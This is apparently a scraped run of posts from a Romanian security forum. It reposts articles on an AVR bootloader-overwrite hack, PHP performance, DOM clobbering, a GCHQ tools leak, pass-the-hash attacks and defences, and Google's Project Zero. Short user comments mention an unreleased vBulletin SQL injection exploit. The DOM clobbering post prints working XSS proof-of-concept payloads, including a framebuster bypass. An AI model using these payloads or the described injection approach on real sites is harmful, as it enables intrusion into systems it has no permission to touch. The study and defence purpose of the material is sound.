actually lead me there. And it turns out it does. The solution is actually conceptually fairly simple. A bootloader, by its very nature is designed to download new firmware to the device. Therefore it will contain at least one spm instruction. Because the spm configuration register must be written no more than 4 cycles before the spm instruction it means there are very few sequences that practically occur: just sts, spm or out, spm sequences. So, all you need to is find the sequence in the bootloader section; set up the right registers and call it. However, it turned out there was a major problem with that too. The V-USB self-programming bootloader's spm instructions aren't a neat little routine, but are inlined into the main code; so calling it would just cause the AVR to crash as it tried to execute the rest of the V-USB bootloader. Nasty, but again there's a solution. By using a timer clocked at the CPU frequency (which is easy on an AVR), you can create a routine in assembler which sets up the registers for the Bootloader's out, spm sequence; calls it and just at the moment when it's executed the first cycle of the spm itself, the timer interrupt goes off and the AVR should jump to your interrupt routine (in Application space). The interrupt routine pops the bootloader address and then returns to the previous code - which is the routine that sets up the out, spm sequence. This should work, because when you apply spm instructions to the bootloader section the CPU is halted until it's complete. Here's the key part of BootJacker: The code uses the Bootloader's spm to first write a page of flash which also contains a usable out, spm sequence and then uses that routine to write the rest (because of course you might end up overwriting the bootloader with your own new bootloader!) BootJacker involves cycle counting, I used a test routine to figure out the actual number of instructions executed after you set the timer for x cycles in the future (it's x-2). In addition I found there was one other oddity: erase and writes always have a 1 cycle latency after the SPM in a bootloader. I fixed this with a nop instruction in my mini bootloader. This algorithm, I think is pretty amazing. It means that most bootloaders can in fact be overwritten using application firmware containing a version of BootJacker! [1] As a Christian, I also have to fess' up that I prayed about it too. Not some kind of desperation thing, but some pretty calm prayer, trusting it'll get sorted out Posted by Snial at 00:14 Sursa: One Week Wonder: BootJacker: The Amazing AVR Bootloader Hack!

PHP NG now nearly TWICE as fast as PHP 5.6 correction: php core developers have urged that it is improper to call this version “5.7? despite the versioning file stating so PHP 5.7 PHP NG is still in alpha development, however it is starting to show breathtaking performance improvements over 5.6 while maintaining virtually complete compatibility. Dmitry Stogov has been hard at work since his first announcement in mid-January 2014 and milestone update in early-May to keep folding in more and more ideas to increase PHP speed (with significant contributions by Xinchen Hui, Nikita Popov and others). Six months later in mid-July, their efforts are really bearing fruit and PHP 5.7 NG is about to become nearly 100% faster than PHP 5.6 when rendering the front page of a stock WordPress 3.6 installation: PHP 5.6, 1000 renderings of WP front page = 26.756 seconds PHP NG, 1000 renderings of WP front page = 14.810 seconds and he is not even done yet, based on all his proposals and notes as you can follow on http://wiki.php.net/phpng The secret to this performance increase is that nearly 60% of cpu instructions have been “retired” by more efficient code: PHP 5.6, 100 renderings = 9,413,106,833 cpu instructions PHP NG, 100 renderings = 3,627,440,773 cpu instructions Because most bundled extensions are now finally working with PHP 5.7 NG, you can easily build it for yourself to play with and benchmark independently. My own tests show the performance increase to be completely genuine and breathtaking. PHP 5.7 NG will be a tremendous advantage for servers around the world. While it is highly unlikely it will be suitable for production use this year, hopefully early 2015 will bring stable betas and maybe even release candidates. Previously the only other option to get performance like this would have been the HipHop Virtual Machine but that is hard to configure and does not offer complete compatibility, while PHP 5.7 should be a “drop in” replacement for most 5.x versions. Sursa: PHP NG now nearly TWICE as fast as PHP 5.6 | _ck_ says...

DOM Clobbering Thursday, 16 May 2013 The DOM is a mess. In an effort to support legacy quick short cuts such as “form.name” etc the browsers have created a Frankenstein monster. This is well known of course but I just wonder how far the rabbit hole goes. I’m gonna share what I discovered over the years. HTML Collections First up is my favourite “HTML Collections”, when html elements are combined into groups they become a collection. You can actually force a collection by giving an element the same name. Such as: <input id=x><input id=x><script>alert(x)</script> On IE “x” alerts “Object HTML Collection”. What’s interesting is there are two ways of doing this, via name and via id, because it’s an array like structure you can reference each element by the order they appear in the collection e.g. collection[0] is the first element. We can use this functionality to “clobber” variables into window to create some interesting stuff. An example of this: <a href="invalid:1" id=x name=y>test</a> <a href="invalid:2" id=x name=y>test</a> <script>alert(x.y[0])</script> What is especially odd is that a collection constructed like this can refer to itself forever, for example: <script> alert(x.y.x.y.x.y[0]); alert(x.x.x.x.x.x.x.x.x.y.x.y.x.y[0]); </script> When the elements become a collection this of course removes the normal properties/methods on the HTML element if it was being referenced by name. <a href=1 name=x>test</a> <a href=1 name=x>test</a> <script> alert(x.removeChild)//undefined alert(x.parentNode)//undefined </script> You can see how that could cause problems Variable assignments cause anchor href modifications This is a very old bug probably a few years old now, it was rediscovered by @gsnedders. On IE a global variable with the same name as an anchor element caused modification of that anchors href. For example <a href="123" id=x>test</a> <script> x='javascript:alert(1)'//only in compat! ;</script> If you have an anchor named “x” and an assignment with the same name then even if it is fully encoded you can still inject XSS by modifying the anchor directly. Framebusters busted Lastly on my trip down memory lane I have another interesting bug that was again found many moons ago. You might be familiar with code similar to this: <script> if(top!=self){ top.location=self.location } </script> It’s checking if the top most window is the same as the current window (usually to prevent a page being framed). If we can clobber a form before the check then we can fool the logic into thinking that self is a form and “self.location” is an attribute on that form like this: <form name=self location="javascript:alert(1)"></form> <script> if(top!=self){ top.location=self.location } </script> Which fires the alert! But there’s more, since an attribute is decoded when it’s accessed we can encode the colon of course but because on IE when the assignment occurs it’s also decoded we can now double encode! Which means this is perfectly valid too: <form name=self location="javascript:alert(1)"></form> <script> if(top!=self){ top.location=self.location } </script> In conclusion the DOM is a mess. Sursa: DOM Clobbering

Advanced XSS Nicolas Golubovic Today's menu Starter: reboiled XSS Course: spicy blacklists & filters Course: sweet content sniffing Course: salty defenses a. httpOnly cookies b. Content Security Policy (CSP) c. XSS Auditor Dessert: tips and tricks a. DOM clobbering Cookies? Download: https://www.owasp.org/images/a/ae/Advanced_XSS.pdf

Softpedia: vBulletin Exploitable Through SQL Injection

Nu e blind, dar l-am facut dimineata la 7 inainte sa plec la munca si nu am avut timp sa il fac altfel. Fac un request pentru un caracter (SUBSTR). Se putea si altfel, dar era un query urat si nu am avut timp sa ma complic.

GCHQ leak lists UK cyber-spies' hacking tools By Leo Kelion Technology desk editor More than 100 codenamed projects are defined in the leaked GCHQ document A document that appears to list a wide variety of GCHQ's cyber-spy tools and techniques has been leaked online. It indicates the agency worked on ways to alter the outcome of online polls, find private Facebook photos, and send spoof emails that appeared to be from Blackberry users, among other things. The document is alleged to have been among those leaked by former US intelligence analyst Edward Snowden. One expert said the release, published on the site Intercept, was "damaging". Alan Woodward, a security consultant who has done work for GCHQ, the UK's intelligence agency, said: "If you read the mission statement of any signals intelligence organisation, all the listed techniques are what you'd expect them to be doing. "But it's very unhelpful for the details to leak out because as soon as you reveal to people how something is being done they can potentially take steps to avoid their information being collected. The leaked document lists the techniques in the style of the online encyclopaedia Wikipedia "We've already seen it happen when various forms of interception were revealed previously with the Snowden leaks." Glenn Greenwald, the journalist who published the latest document, noted in his article that an earlier inquiry by the European Parliament's Civil Liberties Committee had called into question the "legality, necessity and proportionality" of the data-collection activities of GCHQ and the US National Security Agency (NSA), for which Mr Snowden worked. He also highlighted that the article's publication coincided with the start of a legal challenge brought by Privacy International, Liberty and other civil rights groups that claimed the UK's security agencies had acted unlawfully. However, GCHQ denies it is at fault. "It is a longstanding policy that we do not comment on intelligence matters," it said in a statement. "Furthermore, all of GCHQ's work is carried out in accordance with a strict legal and policy framework which ensures that our activities are authorised, necessary and proportionate, and that there is rigorous oversight, including from the secretary of state, the interception and intelligence services commissioners and the Parliamentary Intelligence and Security Committee." Swamp donkey More than 100 projects are included in the document, which appears to be from a Wikipedia-style listing for GCHQ's Joint Threat Research Intelligence Group. The leak indicates that GCHQ created a tool to help agents make use of Second Life Many involve eccentric codenames. For example, the ability to send an audio message to a large number of telephones and/or "repeatedly bomb" a target number with the same message is called Concrete Donkey - the name of a weapon in the video game Worms. Other examples include: Angry Pirate - a tool to permanently disable a target's account on their computer Bomb Bay - the capacity to increase website hits/rankings Cannonball - the ability to send repeated text messages to a single target Gestator - a tool to make a message, normally a video, more visible on websites including YouTube Glitterball - software to help agents carry out operations in Second Life and other online games Birdstrike - Twitter monitoring and profile collection Fatyak - public data collection from the business-focused social network LinkedIn Spring Bishop - a tool to find private pictures of targets on Facebook Changeling - the ability to spoof any email address and send messages under that identity Bearscrape - a tool to extract a computer's wi-fi connection history Miniature Hero - the ability to source real-time call records, instant messages and contact lists from Skype Swamp donkey - a way to send a modified Excel spreadsheet document that silently extracts and runs malware on the target's computer Underpass - a tool to change the result of online polls Some of the schemes are listed as being operational while others are said to be still at the design, development or pilot stages. Analysis: Gordon Corera, security correspondent The latest revelations suggest that GCHQ is developing a wide range of capabilities which go beyond the simple gathering of information and into the realms of covert action. This is another traditional part of the work of spy agencies but one they prefer to keep clandestine and therefore "deniable". According to the documents, this appears to range from disrupting an individual's online activity to broader "information operations" to influence opinion in other countries. What is not clear from the document is how far these capabilities have actually been deployed and put into action and against whom. Almost every state is secretly developing capabilities to disrupt their opponents in cyberspace but they do not like talking about them or having them revealed in public. 'Chinese menu' It is not clear exactly how out-of-date the list is. The document states it was last modified in July 2012, but includes a note saying: "We don't update this page anymore, it became somewhat of a Chinese menu for effects operations." Staff are instead directed to an alternative page, which has not been leaked. "The accusation that GCHQ has been manipulating polls and influencing and distorting political discourse is incredibly serious," said Emma Carr, acting director of the Big Brother Watch campaign group. "The UK is always the first to point the finger at countries if there is a whiff of corruption or interference within a democratic process, so if senior ministers are aware that this is taking place then this absolutely stinks of hypocrisy. "It is essential that the government directly addresses these accusations, otherwise they are at risk of losing the international moral high ground." Sursa: BBC News - GCHQ leak lists UK cyber-spies' hacking tools

Thanks! Backup: https://rstforums.com/fisiere/Algorithm.mp4 Click dreapta, Save Link As.

"In the late 1950's MIT hackers belived as I do: that information should be free. We call that terrorism nowadays..." http://vimeo.com/98771421

A Closer Look at Pass the Hash, Part I Posted by: Andy Green We’ve done a lot of blogging at the Metadata Era warning you about basic attacks against passwords. These can be mitigated by enforcing strong passwords, eliminating vendor defaults, and enabling reasonable lockout settings in Active Directory. But don’t rest yet! Hackers have another password trick that’s much more difficult to defend against. Advanced password, or more precisely, credential attacks are still very popular and, unfortunately, quite effective. Known generically as pass-the-hash or PtH, these attacks are seen by some as more of an issue with older Windows systems. Somewhat true, but they’re still very much a menace: PtH is the subject of presentations at recent Black Hat conferences, several white papers from Microsoft’s own Trustworthy Computing division, and a security bulletin from the NSA (for what it’s worth!). What’s a Hash? Security researchers have known almost since the beginning of modern computing that storing plain-text passwords is a poor security practice. Instead, they came up with the idea of passing the plaintext string through a special 1-way encryption function to produce a hash. You can read more about hashes in Rob’s excellent posts on the subject. The key point is that in both Windows (and Linux systems too) the hashed password is stored instead of the readable password. If you think about this a little, the hash acts as a proxy for identity—if you can prove you have it, it’s your ticket in. In Windows, the NTLM authentication protocol involves exchanging messages to validate that users have the hash without actually sending the hash over the wire. This authentication technique is at the center of how Active Directory supports remote logins within a domain and is also used for other Windows services, most significantly remote file access By the way, vulnerabilities in earlier implementations of NTLM—since corrected—have led some to believe that PtH attacks are a thing of the past. Not only is PtH still viable but the same idea—grabbing hashes from disk or memory—can also be used against more sophisticated Kerboros authentication. Don’t Crack the Hash, Pass it Windows caches the hashed passwords in memory to implement Single Sign On or SSO, which is an essential feature of Windows enterprise environments. So far, so good. For example, on my Varonis laptop, I logon once with my password, Windows hashes it and stores the code—currently 128-bits in NTLMv2— in memory so that when, say, I mount a remote directory or use other services where I need to prove my identity, I don’t have to re-enter my password— Windows instead uses the cached hash. And that is enough of an opening for hackers to exploit. We’ve seen other attacks, most significantly with RAM scrapers used on Point-of-Sale devices, where hackers use easily available software to peek into this memory. Not surprisingly there are toolkits out there that will let hackers grab the credentials from memory, and log them in as that user—see SANS’ Why Crack When You Can Pass the Hash. And that’s one of the major benefits of SSO, so to speak, for hackers: they don’t have to crack the hashes, they just re-use or pass them to an authenticating server! PtH: It’s a Feature, Not a Bug The assumption that this attack makes is that the cyber thief gains administrator-level permissions for a user’s machine. Any expert will tell you, that’s not necessarily difficult to pull off, as we’ve seen in the Target hack. In a typical exploit, the hacker will grab some hashes, log onto other servers, and continue the process of stockpiling credentials. If they hit the jackpot—a domain controller or SQL server—they may able to get the hashes of just about everyone. As an aside, we don’t know exactly how Snowden obtained employee logon credentials—social engineering likely played a part. But his admin-level access would have made PtH a very good choice to extract the credentials of those with a higher security clearance than him. Unfortunately, pass-the-hash is a feature of Windows! After all, the underlying NTLM authentication is effectively passing the hash to implement SSO, saving you from password entry fatigue. Hackers are just exploiting this feature for their own purposes. Not to be too hard on Windows, PtH is also an issue in Linux systems that implement Kerboros , where you have an equivalent pass-the-ticket or PtT attack. Here’s the most important takeaway: you can’t prevent PtH, you can only mitigate or greatly reduce the possibility of this attack occurring. Hold that thought and we’ll take up PtH mitigation through smart configurations of Active Directory and other services in the next post. Image Credit: Mattia Luigi Nappi A Closer Look at Pass the Hash, Part II: Prevention Last week, I attended a webinar that was intended to give IT attendees a snapshot of recent threats—a kind of hacker heads-up. For their representative case, the two sec gurus described a clever and very targeted phishing attack. It led to an APT being secretly deposited in a DLL. Once the hackers were in, I was a little surprised to see they were probing memory for password hashes. Pass the Hash, or PtH, I learned, was a standard hacker trick for gaining new identities. It makes sense. Hackers prefer to use credentials taken this way and logon directly as a user, rather than using more roundabout C2-style backdoors. Without sophisticated monitoring in place, they’re less likely to be spotted in real-time or even forensically afterwards when appearing as an ordinary insider. Beware of Local Admin As I mentioned last time, PtH assumes that an attacker has admin-level privileges on the machine they’ve first entered. The hash, which is kept in the memory space of a process with local admin permissions, is by itself not used to establish identity. Instead, it becomes part of a secret key for encrypting and decrypting messages in a challenge-response protocol. In effect, you need just the hash code to take over the identity of another user. The hard part is getting local admin access. Unfortunately, this is not a major hurdle. On older Windows systems (pre-Vista), the local admin account is automatically created and even worse, IT may have given each user machine the same admin password. Suppose a laptop is compromised through a phish-mail that deposits malware. The malware succeeds in a brute force assault on the local admin passwords. From this machine, the hackers can leapfrog to other devices and servers, either through new credentials that’ve been scooped from memory by PtH toolkits or by simply reusing the admin password. It may be an annoyance for admins, but UAC is a good defense against PtH. Thankfully, newer Windows OSes—Windows 7 and 8—by default don’t create a local admin account. Even better, Microsoft added a new malware defense known as User Account Controls or UAC, which requires explicit authorization for a user (or software) to gain elevated privileges. Admins know UAC through the Consent or Credential prompts (see pic) that pop up when they do legitimate work. While they may find this somewhat inconvenient, it does go a long way towards preventing malware and APTs from getting a critical foot hold. For organizations with older OSes, IT can enforce a policy of creating unique and robust admin passwords for each user machine. It’s a low-effort remedy for preventing the hackers from easily guessing admin credentials and then reusing hashes on other machines. One simple trick is to append the machine name (or variation of it) to the password. Stomp Out Local Network Logon Access Another powerful mitigation that works on both old and new Windows OSes is to prevent ordinary and local admin users from directly networking into other users’ machines. In an Active Directory environment, you’d do that by using the Group Policy Object (GPO) Editor to configure a User Rights Assignment networking policy. You can read more about how to do this here. Quick summary: disable network and remote interactive logon privileges and then link users and groups to these specific User Rights policies. And Just Limit Hashes The above measures take care of a large part but not all the entry points for PtH attacks. In the exploit that I opened this post up with the hackers used SQL injection techniques to hijack a database server that was already running with elevated privileges. Result: they were able to scoop up high-level hashes. The least privilege security principle now comes to the fore: don’t run services—SQL servers, and other IT infrastructure—with domain or enterprise level access rights. These permissions are far broader than what system tools and services generally need to do the job, and if the software is ever compromised, the shells or commands that are spawned automatically run at elevated access. However, sometimes this may not be feasible, and of course, there are always zero-day exploits waiting to happen. So the key idea now is to limit the “bad” hashes—typically domain administrators—from spreading throughout the network. Recall that with Single Sign On, the hash, even for DAs, is always deposited in memory when logging onto a machine. The rule is simple: only give domain administrators the right to access machines with high-privilege levels—i.e., domain controllers—and never allow the same accounts access to plain-old employee laptops and desktops. You can always create a separate account for system admins for servicing user devices but with non-domain admin privileges. That way, if a hacker (or internal user) should ever get control of a machine, they’ll never get the “keys to the kingdom”—a domain administrator’s hash that just happens to be in memory at the time. A Closer Look at Pass the Hash, Part III: How NTLM will get you hacked (and what you should do about it) I was about ready to wrap up this series of posts (part 1, part 2 ) on PtH and make my larger point, which is that you should assume hackers will break into your system. And then I learned new information about credential stealing that amplifies this warning by a factor of 10. The most important takeaway about PtH is that the password hashes that are stored in memory (and grabbed by hackers) are a feature of Single Sign On. Most organizations can’t live without SSO, so they’re stuck with PtH risks. I already blogged about ways to reduce these risks, but they can’t altogether be eliminated. More Features to Worry About There’s another underlying feature that also has to be taken into account. Existing Windows authentication protocols, which directly use the password hash, have had a long history of problems. As of January 2013, Microsoft’s official line on NTLM, their workhorse logon authentication software, is that you should not be using version 1—the newer v2 is better (but still has some vulnerabilities). By all means, if feasible, jump from NTLM to Kerboros, which will greatly reduce your security exposure. But many IT groups can’t completely cut their ties to NTLM—mostly because lots of client apps (email, browsers, VPN, file sharing) still depend on it. And then there’s SAMBA, a suite that provides windows file and print services for UNIX/Linux, which also uses NTLM. Bottom line: NTLM has deep hooks into Windows. But even more troubling—and here’s one piece of new information I learned from security blogger Mark Gamache—is that there’s an enormous security exposure because of all the XP out there—at least 20% of all computer based on W3 data. And these legacy clients can only authenticate with—you guessed it—NTLM version 1. A Little NTLM To understand what’s wrong with NTLM, we need to know a little more about how its challenge-response works. Rather than write out a geeky protocol syntax, the interaction (for version 1) can be roughly summarized by the following dialogue: Server: Hi. I know you’re claiming to be user XYZ, but you’ll need to prove it. But don’t tell me the password out loud—someone will overhear! Instead, I want you to take this challenge: encrypt “swordfish”, and then tell me the results. You can use DES. User: And what key should I use for DES? Server: The MD4 hash of your password—use that. Client: Ok, I’ve encrypted “swordfish” with the password hash and I have weird 24-byte string. Is that what you want? Server: Yes Client tells server the encrypted string. And server compares with its encryption of swordfish, which matches. Server: You are worthy, please enter! The most important improvement in NTLMv1 over an even earlier Windows authentication method, known as LM, was not directly sending the password over the wire. Instead, encrypting the challenge with the hash of the password is proof that the user is who he/she claims to be. The initial version of NTLM dates back to pre-internet NT systems—it stands for NT LAN Manager. Certainly, a more innocent time—circa 1990s—where the assumption that no one could get into an office LAN and launch crafty relay or man-in-the-middle exploits was a good one. That was then. NTLMv1 eventually became susceptible to a style of attack wherein users were redirected to connect to a rogue server—you can read more about that here. The server would send a challenge for which it had already pre-computed the hashes for zillions of passwords and stored the encrypted challenges in a giant dictionary. If the fake server finds a match, it then automatically has the password hash for that user. NTLM Is Really Broken In response, Microsoft improved the challenge-response protocol in NTLMv2 to prevent these server-based dictionary attacks. However, it still left open the possibility of man-in-the-middle exploits, as well as PtH. But up until recently, you could make a case for staying with v1. In 2012 some astonishing news came out of a Defcon conference. Using special purpose-built hardware, security researchers had succeeded in cracking the DES encryption used in the NLTMv1 challenge-response exchange. In other words, by watching the wire and grabbing the packets containing the challenge text from the server and the encrypted DES response, hackers could, through a brute force approach, work out the key— i.e., the underlying password hash. Yikes! And then the researchers made this DES cracking capability available as a service, known as CloudCracker, for penetration testers! I don’t want to get too much into the weeds about the fatal flaw in NTLMv1. In short: NTLMv1 doesn’t use the full 128-bit output of the MD4 hash as a DES key, but smaller 56-bit groupings, thereby making the client response amenable to being cracked by a powerful computing device. By the way, NTLMv2 use a full 128-bit key. And Going Forward This crypto-news eventually made its way to Microsoft, which then issued the NTLMv1 warning I mentioned earlier. So what’s a reasonable next step considering all this? The first action for IT is to review current LAN authentication levels (in GPO or within Local Security Policy). It’s not unusual to have set NTLMv2 as default, but still allow clients to negotiate NTLMv1 or the still older LM. If it’s feasible, they should set the “refuse LM and NTLM” option. NTLMv2 is—as far as we know and assuming you’re not dealing with the NSA—immune to DES cracking. The caveat here is that user passwords are long enough—at least 8 characters—otherwise even this new version is also vulnerable to DES brute force approaches. So another ‘to do’ on your list is to really enforce a strong password policy across the organization. The v2 challenge-response protocol can still, though, be tricked by sneaky servers getting in the middle and relaying credentials from a client to an authenticating app. And v2 doesn’t do anything to prevent PtH attacker from grabbing credentials. Here’s a simple rule of thumb based on all this: assume the hacker will get in. You therefore need a solid ‘Plan B’ defense strategy. In my previous PtH post, I recommended disabling remote access rights for ordinary users to prevent hackers from harvesting credentials by hopping on to other machines. It’s a good idea, and even more so considering all this new information. Your final defensive wall should, of course, be business-as-usual data governance practices—monitoring, alerting, etc. And you do that, as the Metadata Era has pointed out on many occasions, by finding where PII and other sensitive data is located, determining the true data owners, making sure the owners limit access to those who truly need it as part of their job or role, monitoring use and using automation to detect possible abuse. So when the hackers enter the site, they’re not coming in as if they “own the place” since they no longer have easy access to troves of sensitive data. Surse: 1. A Closer Look at Pass the Hash, Part I 2. A Closer Look at Pass the Hash, Part II: Prevention 3. A Closer Look at Pass the Hash, Part III: How NTLM will get you hacked (and what you should do about it)

[h=1]Google Races NSA to Discover Zero-Day Vulnerabilities[/h] July 15th, 2014, 15:24 GMT · By Gabriela Vatu Google has had enough of people exploiting zero-day vulnerabilities, be them hackers or government entities. After numerous efforts to make sure the system is secure following the NSA revelations, Google has now announced the so-called “Project Zero,” which makes use of hackers’ talents to discover and fix zero-day bugs. The company has already invested a lot in securing its products, including SSL encryption by default for Search, Gmail and Drive. When it discovered from the media that the NSA had also infiltrated the connection between its servers to get access to the unencrypted data traveling there, Google moved to also encrypt that data. “You should be able to use the web without fear that a criminal or state-sponsored actor is exploiting software bugs to infect your computer, steal secrets or monitor your communications,” Google writes in the announcement, taking a jibe at the NSA and its mass surveillance efforts, which often targeted the world’s largest Internet company. Google’s objective is to significantly reduce the number of people harmed by targeted attacks, which is why it’s been hiring security researchers who dedicate their time to improving security across the Internet, not just at Google. So, what will Google’s new team do? It will look for vulnerabilities, as well as conduct new research into mitigations, exploitations, program analysis and everything else. Not only will the company look for these vulnerabilities, but it will also file them in an external database, while reporting them to the software vendor, but no third parties. Once a patch is available, the bug report will likely become public and everyone will have access to it. This is also another jibe to the NSA, which admitted to looking for and discovering various zero-day vulnerabilities. The US government, however, said that these weren’t always reported immediately. Instead, some are kept and exploited by the NSA for a while before the risk of discovery from third parties is too big to continue and only then they are shared with the world. All this information came forth after the Heartbleed bug was exposed several months ago thanks to Neel Mehta of Google’s security team that discovered it. The NSA was then accused of knowing about the OpenSSL vulnerability and exploiting it for years, something that the intelligence agency actually denied. However, it is rather hard to believe that the spy agency, which commonly seeks such coding issues, didn’t know about Heartbleed in advance. As a reminder, the vulnerability left no traces on the affected servers and provided the attackers with unencrypted access to whatever content passed through the targeted server at the time of the attack. Google, Facebook, Yahoo and many other companies and products were affected by it since it slipped through the cracks of an OpenSSL update dating two years back. Sursa: Google Races NSA to Discover Zero-Day Vulnerabilities

Hacker Dream Team, by Google July 15th, 2014, 14:36 GMT · By Ionut Ilascu Google has announced today Project Zero, a group of elite hackers formed to hunt down zero-day security risks in various pieces of software, not just in Google products. The members of the group are led by security engineer Chris Evans and all of them have proved their skills on numerous occasions, being credited for finding numerous security bugs in products developed by heavy-weight companies such as Google, Adobe, Microsoft, Apple or Sony. At the moment, the dream team is composed of Ben Hawkes, Tavis Ormandy, Ian Beer, and the latest addition, George Hotz, who has been given the status of “intern,” according to Wired. “You should be able to use the web without fear that a criminal or state-sponsored actor is exploiting software bugs to infect your computer, steal secrets or monitor your communications. Yet in sophisticated attacks, we see the use of ‘zero-day’ vulnerabilities to target, for example, human rights activists or to conduct industrial espionage. This needs to stop,” said Chris Evans in the first blog post for the project. Project Zero is not limited to just these five super-hackers and is open for new talent. The team is expected to exceed ten full-time researchers working in an office equipped with all the necessary tools for finding software security glitches. The purpose of the project is touted as being primarily altruistic, but there is more to the idea behind it. Evans told Wired that increased user confidence in the security of the web also benefits Google “in a hard-to-measure and indirect way.” Security vulnerabilities are not leveraged by cybercriminals alone, as Snowden’s revelations showed that government organizations also used them for spying purposes. As such, Project Zero also increases the general confidence in Google’s posture for improving the privacy protection of customer information. Moreover, since a chain is as strong as its weakest link, Google products are also vulnerable if third-party content included in them presents a security risk. The security researcher told the online publication that “it’s a major source of frustration for people writing a secure product to depend on third party code,” and that a serious and skilled attacker would always go for the weakest spot. Project Zero offers companies whose product has been found vulnerable a tolerance of 60 to 90 days to issue a patch. After this period, the flaw will be disclosed publicly. If the flaw is already exploited in the wild, the tolerance limit drops to a week, since a larger period of time could mean more victims. The hacker dream team concentrates on bugs in specific areas to make sure that an exploit is rendered unsuccessful. Most of the time, defeating the protection measures implies leveraging a sequence of flaws, and if one of them is patched, exploitation is no longer possible. The team is confident that they’ll be able to successfully hunt down zero-day bugs and “step on some toes,” as Ben Hawkes puts it. Sursa: Hacker Dream Team, by Google

Thanks. Astept un fix de la vBulletin, un realease care sa repare problema, mai astept putin sa isi mai faca lumea update apoi public exploit-ul.

Stiu ca e probabil doar o obsesie a mea, dar daca nu puteti scrie un post incepand propozitia cu majuscula, macar cacatul de titlul sa il incepeti cu majuscula. Tutorial: Tinand apasata tasta Shift, apasati prima litera din titlu. Eliberati tasta Shift. Pentru avansati: Aveti grija sa nu aveti Caps Lock apasat. Multumesc.

Thanks. Postasem si pe forumul lor, dar au sters postul.

Author: Nytro @ Romanian Security Team All details will be available after a fix from vBulletin.